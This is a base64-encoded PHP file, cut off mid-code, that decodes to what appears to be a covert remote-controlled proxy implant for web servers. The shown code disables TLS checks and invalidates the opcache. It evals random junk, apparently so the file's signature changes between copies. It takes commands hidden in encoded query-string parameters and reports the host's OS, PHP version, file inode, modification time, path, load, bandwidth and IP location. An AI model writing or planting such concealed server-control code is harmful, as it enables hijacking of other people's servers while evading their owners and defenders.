iAgICAgICAgZnVuY3Rpb24gaHR0cF9yZXNwb25zZV9jb2RlKCRjb2RlID0gTlVMTCkgewogICAgICAgICAgICBpZiAoJGNvZGUgIT09IE5VTEwpIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoJGNvZGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMDogJHRleHQgPSAnQ29udGludWUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEwMTogJHRleHQgPSAnU3dpdGNoaW5nIFByb3RvY29scyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAwOiAkdGV4dCA9ICdPSyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjAxOiAkdGV4dCA9ICdDcmVhdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDI6ICR0ZXh0ID0gJ0FjY2VwdGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDM6ICR0ZXh0ID0gJ05vbi1BdXRob3JpdGF0aXZlIEluZm9ybWF0aW9uJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAyMDQ6ICR0ZXh0ID0gJ05vIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDIwNTogJHRleHQgPSAnUmVzZXQgQ29udGVudCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMjA2OiAkdGV4dCA9ICdQYXJ0aWFsIENvbnRlbnQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwMDogJHRleHQgPSAnTXVsdGlwbGUgQ2hvaWNlcyc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAxOiAkdGV4dCA9ICdNb3ZlZCBQZXJtYW5lbnRseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAyOiAkdGV4dCA9ICdNb3ZlZCBUZW1wb3JhcmlseSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgMzAzOiAkdGV4dCA9ICdTZWUgT3RoZXInOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDMwNDogJHRleHQgPSAnTm90IE1vZGlmaWVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAzMDU6ICR0ZXh0ID0gJ1VzZSBQcm94eSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAwOiAkdGV4dCA9ICdCYWQgUmVxdWVzdCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAxOiAkdGV4dCA9ICdVbmF1dGhvcml6ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwMjogJHRleHQgPSAnUGF5bWVudCBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDAzOiAkdGV4dCA9ICdGb3JiaWRkZW4nOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQwNDogJHRleHQgPSAnTm90IEZvdW5kJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDU6ICR0ZXh0ID0gJ01ldGhvZCBOb3QgQWxsb3dlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA2OiAkdGV4dCA9ICdOb3QgQWNjZXB0YWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA3OiAkdGV4dCA9ICdQcm94eSBBdXRoZW50aWNhdGlvbiBSZXF1aXJlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDA4OiAkdGV4dCA9ICdSZXF1ZXN0IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MDk6ICR0ZXh0ID0gJ0NvbmZsaWN0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTA6ICR0ZXh0ID0gJ0dvbmUnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMTogJHRleHQgPSAnTGVuZ3RoIFJlcXVpcmVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTI6ICR0ZXh0ID0gJ1ByZWNvbmRpdGlvbiBGYWlsZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDQxMzogJHRleHQgPSAnUmVxdWVzdCBFbnRpdHkgVG9vIExhcmdlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA0MTQ6ICR0ZXh0ID0gJ1JlcXVlc3QtVVJJIFRvbyBMYXJnZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNDE1OiAkdGV4dCA9ICdVbnN1cHBvcnRlZCBNZWRpYSBUeXBlJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDA6ICR0ZXh0ID0gJ0ludGVybmFsIFNlcnZlciBFcnJvcic7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTAxOiAkdGV4dCA9ICdOb3QgSW1wbGVtZW50ZWQnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMjogJHRleHQgPSAnQmFkIEdhdGV3YXknOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDUwMzogJHRleHQgPSAnU2VydmljZSBVbmF2YWlsYWJsZSc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgNTA0OiAkdGV4dCA9ICdHYXRld2F5IFRpbWUtb3V0JzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSA1MDU6ICR0ZXh0ID0gJ0hUVFAgVmVyc2lvbiBub3Qgc3VwcG9ydGVkJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICAgICAgICAgZXhpdCgnVW5rbm93biBodHRwIHN0YXR1cyBjb2RlICInIC4gaHRtbGVudGl0aWVzKCRjb2RlKSAuICciJyk7CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcHJvdG9jb2wgPSAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9QUk9UT0NPTCddKSA/ICRfU0VSVkVSWydTRVJWRVJfUFJPVE9DT0wnXSA6ICdIVFRQLzEuMCcpOwogICAgICAgICAgICAgICAgJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddID0gJGNvZGU7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkY29kZSA9IChpc3NldCgkR0xPQkFMU1snaHR0cF9yZXNwb25zZV9jb2RlJ10pID8gJEdMT0JBTFNbJ2h0dHBfcmVzcG9uc2VfY29kZSddIDogMjAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGNvZGU7CiAgICAgICAgfQogICAgfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZnVuY3Rpb24gcmVxdWVzdCgkdGFyZ2V0VXJsLCRyZXF1ZXN0X2FwaSwkaGVhZGVycz1hcnJheSgpKQogICAgICAgIHsKCgkkcmVzcG9uc2VDb2RlPUZBTFNFOwoJJHJlc3BvbnNlSGVhZGVyPUZBTFNFOwoJJHJlc3BvbnNlQm9keT1GQUxTRTsKCglzd2l0Y2ggKCRyZXF1ZXN0X2FwaSkgCXsKICAgICAgICAJY2FzZSAnY3VybCc6CgkJCSRyZXF1ZXN0ID0gY3VybF9pbml0KCR0YXJnZXRVcmwpOwoJCQljdXJsX3NldG9wdF9hcnJheSgkcmVxdWVzdCwgYXJyYXkoCi8vCQkJICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gdHJ1ZSwKCQkJICAgIENVUkxPUFRfSEVBREVSID0+IHRydWUsCgkJCSAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IHRydWUsCgkJCSAgICBDVVJMSU5GT19IRUFERVJfT1VUID0+IHRydWUsCgkJCSAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gJGhlYWRlcnMsCgkJCSAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSPT5mYWxzZSwKCQkJICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1Q9PmZhbHNlLAoJCQkgICAgQ1VSTE9QVF9IVFRQX1ZFUlNJT049PiBDVVJMX0hUVFBfVkVSU0lPTl8xXzAKCQkJCQkJCSkpOwoJCQkkcmVzcG9uc2UgPSBjdXJsX2V4ZWMoJHJlcXVlc3QpOwoJCQkkaGVhZGVyU2l6ZSA9IGN1cmxfZ2V0aW5mbygkcmVxdWVzdCwgQ1VSTElORk9fSEVBREVSX1NJWkUpOwoJCQkkcmVzcG9uc2VIZWFkZXIgPSBzdWJzdHIoJHJlc3BvbnNlLCAwLCAkaGVhZGVyU2l6ZSk7CgkJCSRyZXNwb25zZUJvZHkgPSBzdWJzdHIoJHJlc3BvbnNlLCAkaGVhZGVyU2l6ZSk7CgkJCSRyZXNwb25zZUluZm8gPSBjdXJsX2dldGluZm8oJHJlcXVlc3QpOwoJCQkkcmVzcG9uc2VDb2RlID0gcmkoJHJlc3BvbnNlSW5mb1snaHR0cF9jb2RlJ10sIDUwMCk7CgkJCSRyZWRpcmVjdENvdW50ID0gcmkoJHJlc3BvbnNlSW5mb1sncmVkaXJlY3RfY291bnQnXSwgMCk7CgkJCSRyZXF1ZXN0SGVhZGVycyA9IHByZWdfc3BsaXQoJy9bXHJcbl0rLycsIHJpKCRyZXNwb25zZUluZm9bJ3JlcXVlc3RfaGVhZGVyJ10sICcnKSk7CgkJCWlmICgkcmVzcG9uc2VDb2RlID09PSAwKSB7CgkJCSAgICAkcmVzcG9uc2VDb2RlID0gNDA0OwoJCQkJCQl9CgoJCQkkZmluYWxSZXF1ZXN0VVJMID0gY3VybF9nZXRpbmZvKCRyZXF1ZXN0LCBDVVJMSU5GT19FRkZFQ1RJVkVfVVJMKTsKCQkJCWlmICgkcmVkaXJlY3RDb3VudCA+IDAgJiYgIWVtcHR5KCRmaW5hbFJlcXVlc3RVUkwpKSB7CgkJCQkgICAgJGZpbmFsUmVxdWVzdFVSTFBhcnRzID0gcGFyc2VfdXJsKCRmaW5hbFJlcXVlc3RVUkwpOwoJCQkJICAgICRlZmZlY3RpdmVVUkwgPSByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3NjaGVtZSddLCAnaHR0cCcpIC4gJzovLycgLgoJCQkJICAgICAgICByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ2hvc3QnXSkgLiByaSgkZmluYWxSZXF1ZXN0VVJMUGFydHNbJ3BhdGgnXSwgJycpOwoJCQkJCQkJCQkJfQoKCQkJY3VybF9jbG9zZSgkcmVxdWVzdCk7CiAgICAgICAgICAgICAgICAJYnJlYWs7CgoJICAgICAgICBjYXNlICdzc2MnOgoJJHB1PXBhcnNlX3VybCgkdGFyZ2V0VXJsKTsKCSRxdWVyeSA9IGlzc2V0KCRwdVsncXVlcnknXSkgPyAnPycuJHB1WydxdWVyeSddIDogJyc7CgkkaG9zdD0kcHVbImhvc3QiXTsKCSRwYXRoPSRwdVsicGF0aCJdOwoJJHByZWZpeCA9ICgkcHVbInNjaGVtZSJdPT0naHR0cHMnKSA/ICdzc2w6Ly8nIDogJ3RjcDovLyc7CgkkcG9ydCA9IChpc3NldCgkcHVbInBvcnQiXSkpID8gJHB1WyJwb3J0Il0gOiBOVUxMOwoJaWYgKCEkcG9ydCkgJHBvcnQgPSAoJHByZWZpeD09J3NzbDovLycpID8gNDQzIDogODA7CgkkaG9zdG5hbWUgPSAkcHJlZml4LiRob3N0LiI6Ii4kcG9ydDsKCSRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KAoJICAgICdzc2wnID0+IGFycmF5KAoJICAgICAgICAndmVyaWZ5X3BlZXInID0+IGZhbHNlLAoJICAgICAgICAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2UKCQkJKQoJCQkJCSkpOwoJJGZwID0gc3RyZWFtX3NvY2tldF9jbGllbnQoJGhvc3RuYW1lLCAkZXJybm8sICRlcnJzdHIsIGluaV9nZXQoImRlZmF1bHRfc29ja2V0X3RpbWVvdXQiKSwgU1RSRUFNX0NMSUVOVF9DT05ORUNULCAkY29udGV4dCk7CglpZighJGZwKSBkaWUoJ05LRE0nKTsKCSRyZXF1ZXN0PSAnR0VUICcuJHBhdGguJHF1ZXJ5LicgJy4iSFRUUC8xLjBcclxuIjsgIAoJJHJlcXVlc3QuPSAiSE9TVDogJGhvc3RcclxuIjsKCSRyZXF1ZXN0Lj0gIkNvbm5lY3Rpb246IENsb3NlXHJcbiI7CgkkcmVxdWVzdC49aW1wbG9kZSgiXHJcbiIsJGhlYWRlcnMpLiJcclxuIjsKCSRyZXF1ZXN0Lj0iXHJcblxyXG4iOwoKCWZwdXRzKCRmcCwkcmVxdWVzdCk7CgkkaXNoZWFkZXI9VFJVRTsKCSRyZXNwb25zZUhlYWRlcj0iIjsKCSRyZXNwb25zZUJvZHk9IiI7CgkgICAgd2hpbGUgKCgkbGluZSA9IGZnZXRzKCRmcCkpICE9PSBmYWxzZSkgewoJCQlpZiAoJGlzaGVhZGVyKQoJCQkJewoJCQlpZiAoJHJlc3BvbnNlSGVhZGVyPT0nJykgbGlzdCgkaHR0cCwkcmVzcG9uc2VDb2RlLCRtc2cpPWV4cGxvZGUoJyAnLCRsaW5lKTsgLy9nZXQgaHR0cCByZXNwb25zZSBjb2RlIGZyb20gZmlyc3QgbGluZQoJCQkkcmVzcG9uc2VIZWFkZXIuPSRsaW5lOwoJCQkJfQoJCQlpZiAoKCRsaW5lPT0iXHJcbiIpICYmICRpc2hlYWRlcikJICB7CgkJCQkJICAgICAgICRpc2hlYWRlcj1GQUxTRTsKCQkJCQkgICAgICAgJGxpbmU9Jyc7CgkJCQkJICAgICAgIGNvbnRpbnVlOwoJCQkJICAgCSAJCQkgIH0KCQkJCQlpZiAoISRpc2hlYWRlcikgJHJlc3BvbnNlQm9keS49JGxpbmU7CgkJICAgIAkJCQkJfQoJIAlmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgIAlicmVhazsKCgkJICAgIGRlZmF1bHQ6CgkgICAgICAgIHJldHVybiBGQUxTRTsKCQkgICAgICAgCQl9CgoJcmV0dXJuIGFycmF5KCRyZXNwb25zZUNvZGUsJHJlc3BvbnNlSGVhZGVyLGJhc2U2NF9lbmNvZGUoJHJlc3BvbnNlQm9keSkpOwoJfQoKCgoKCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgppZiAoKCFpc3NldCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKSkgfHwgKCEkX1NFUlZFUlsiUVVFUllfU1RSSU5HIl0pKSAgZGllKCdOTyBRVUVSWSBTVFJJTkcnKTsKCgokdGhpc2ZpbGU9dHJpbShwcmVnX3JlcGxhY2UoJy9cKC4qJC8nLCcnLCBfX0ZJTEVfXykpOwoKaWYgKGZ1bmN0aW9uX2V4aXN0cygnaW5pX3NldCcpKQoJCXsKCQlpbmlfc2V0KCdvcGNhY2hlLmVuYWJsZScsIDApOwoJCWluaV9zZXQoJ29wY2FjaGUuZW5hYmxlX2NsaScsIDApOwoJCX0KCmlmIChmdW5jdGlvbl9leGlzdHMoJ29wY2FjaGVfaW52YWxpZGF0ZScpKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgb3BjYWNoZV9pbnZhbGlkYXRlKF9fRklMRV9fLCB0cnVlKTsKICAgICAgICAgICAgICAgIG9wY2FjaGVfaW52YWxpZGF0ZSgkdGhpc2ZpbGUsIHRydWUpOwogICAgICAgICAgICAgICAgfQoKZXZhbCgnJCcuZ2VuZXJhdGVfcmFuZG9tX3N0cmluZyhyYW5kKDcsMjApKS4iPSciLmdlbmVyYXRlX3JhbmRvbV9zdHJpbmcocmFuZCgxMCw0MCkpLiInOyIpOwoKCgoJCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgREVCVUcgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojZWNobyAiPHByZT4iOwojcHJpbnRfcigkX1NFUlZFUik7CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgREVCVUcgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwoKCXBhcnNlX3N0cigkX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10sJHFzKTsKCSRrYXY9YXJyYXkoKTsgLy9rZXlzIGFuZCB2YWx1ZXMKCWZvcmVhY2ggKCRxcyBhcyAka2V5PT4kdmFsdWUpICAka2F2PWFycmF5X21lcmdlKCRrYXYsZXh0cmFjdF9rYXYoJGtleSksZXh0cmFjdF9rYXYoJHZhbHVlKSk7Cglmb3JlYWNoICgka2F2IGFzICRsaW5lKQoJewoJCSRwYXJhbXM9X2RfZV9jb2RlKCRsaW5lLFRSVUUpOwoJCWlmICgkcGFyYW1zIT09TlVMTCkgYnJlYWs7Cgl9CiN2YXJfZHVtcCgkcGFyYW1zKTtkaWUoKTsKI2VjaG8gX19MSU5FX18uIlxuIjtkaWUoKTsKCmlmICghJHBhcmFtcykgZGllKCdGYWlsZWQgdG8gZGVjb2RlIHBhcmFtcycpOyAvLyEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhISEhCiRyZXF1ZXN0X2FwaSA9IChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKSA/ICdjdXJsJyA6ICdzc2MnOwoKaWYgKCEkcGFyYW1zLT5wcm94eV9iYXNlKSAkcGFyYW1zLT5wcm94eV9iYXNlPXJlc29sdmVfcHJveHlfYmFzZSgpOwoKCiRpbmZvPWFycmF5KAoJCSJjb3VudHJ5X2NvZGUiID0+ICduL2EnLAoJCSJ0eXBlIiA9PiAkcmVxdWVzdF9hcGksCgkJJ2Rvd25zcGVlZCcgPT4gJ24vYScsCgkgICAgICAgICdwcm94eV92ZXJzaW9uJyA9PiBQUk9YWV9WRVJTSU9OLAoJCSd1bmFtZScgPT4gcGhwX3VuYW1lKCksCgkJJ3BocF92ZXJzaW9uJyA9PiBQSFBfVkVSU0lPTiwKCSAgICAgICAgJ2lub2RlJyAgID0+IGZpbGVpbm9kZSgkdGhpc2ZpbGUpLAoJICAgICAgICAnbXRpbWUnICAgPT4gZmlsZWN0aW1lKCR0aGlzZmlsZSksCgkgICAgICAgICdzdGF0dXMnICA9PiAnT0snLAoJICAgICAgICAncHJveHlfYmFzZScgID0+ICRwYXJhbXMtPnByb3h5X2Jhc2UsCgkgICAgICAgICdwYXRoJyAgPT4gJHRoaXNmaWxlCgkJKTsKCgppZiAoJHBhcmFtcy0+YWN0aW9uKQoJewpzd2l0Y2ggKCRwYXJhbXMtPmFjdGlvbikgewogICAgICAgIGNhc2UgJ3N0YXR1cyc6CiAgICAgICAgY2FzZSAnZnN0YXR1cyc6CiAgICAgICAgICAgICAgICAkaW5mb1snbG9hZGF2ZyddICA9IG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpID8gIG1yZWFkZmlsZSgnL3Byb2MvbG9hZGF2ZycpIDogJ24vYSc7CgkJJG1lPXN5c19nZXRfdGVtcF9kaXIoKS5ESVJFQ1RPUllfU0VQQVJBVE9SLm1kNShfX0ZJTEVfXyk7CgkJaWYgKGZpbGVfZXhpc3RzKCRtZSkpICRpbmZvWydkb3duc3BlZWQnXT1maWxlX2dldF9jb250ZW50cygkbWUpOwoJCWlmICgoJHBhcmFtcy0+YWN0aW9uPT0nZnN0YXR1cycpICYmICgoIWZpbGVfZXhpc3RzKCRtZSkpIHx8ICgodGltZSgpLWZpbGVtdGltZSgkbWUpKT45MDApKSkKCQkJewogICAgICAgICAgICAgICAgJHN0YXJ0PW1pY3JvdGltZSh0cnVlKTsKCQkkcmVxaW5mbz1yZXF1ZXN0KCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vQml0RG9jdG9yL3NwZWVkLXRlc3QtZmlsZS9tYXN0ZXIvNW1iLnR4dCIsJHJlcXVlc3RfYXBpKTsgLy9yZXR1cm4gYXJyYXkoJHJlc3BvbnNlQ29kZSwkcmVzcG9uc2VIZWFkZXIsJHJlc3BvbnNlQm9keSkKCQlpZiAoc3RybGVuKGJhc2U2NF9kZWNvZGUoJHJlcWluZm9bMl0pKSkKICAgICAgICAgICAgICAgICRpbmZvWydkb3duc3BlZWQnXSA9IGJ5dGUyKHN0cmxlbihiYXNlNjRfZGVjb2RlKCRyZXFpbmZvWzJdKSkgLyAobWljcm90aW1lKHRydWUpIC0gJHN0YXJ0KSk7CgkJCQllbHNlICRpbmZvWydkb3duc3BlZWQnXT0nbi9hJzsKCQlmaWxlX3B1dF9jb250ZW50cygkbWUsJGluZm9bJ2Rvd25zcGVlZCddKTsKCQkJfSAKCQkkcmVxaW5mbz1yZXF1ZXN0KCJodHRwczovL2lwd2hvLmlzLyIsJHJlcXVlc3RfYXBpKTsgLy9yZXR1cm4gYXJyYXkoJHJlc3BvbnNlQ29kZSwkcmVzcG9uc2VIZWFkZXIsJHJlc3BvbnNlQm9keSkgCiAgICAgICAgICAgICAgICAkaXBfaW5mbz1qc29uX2RlY29kZShiYXNlNjRfZGVjb2R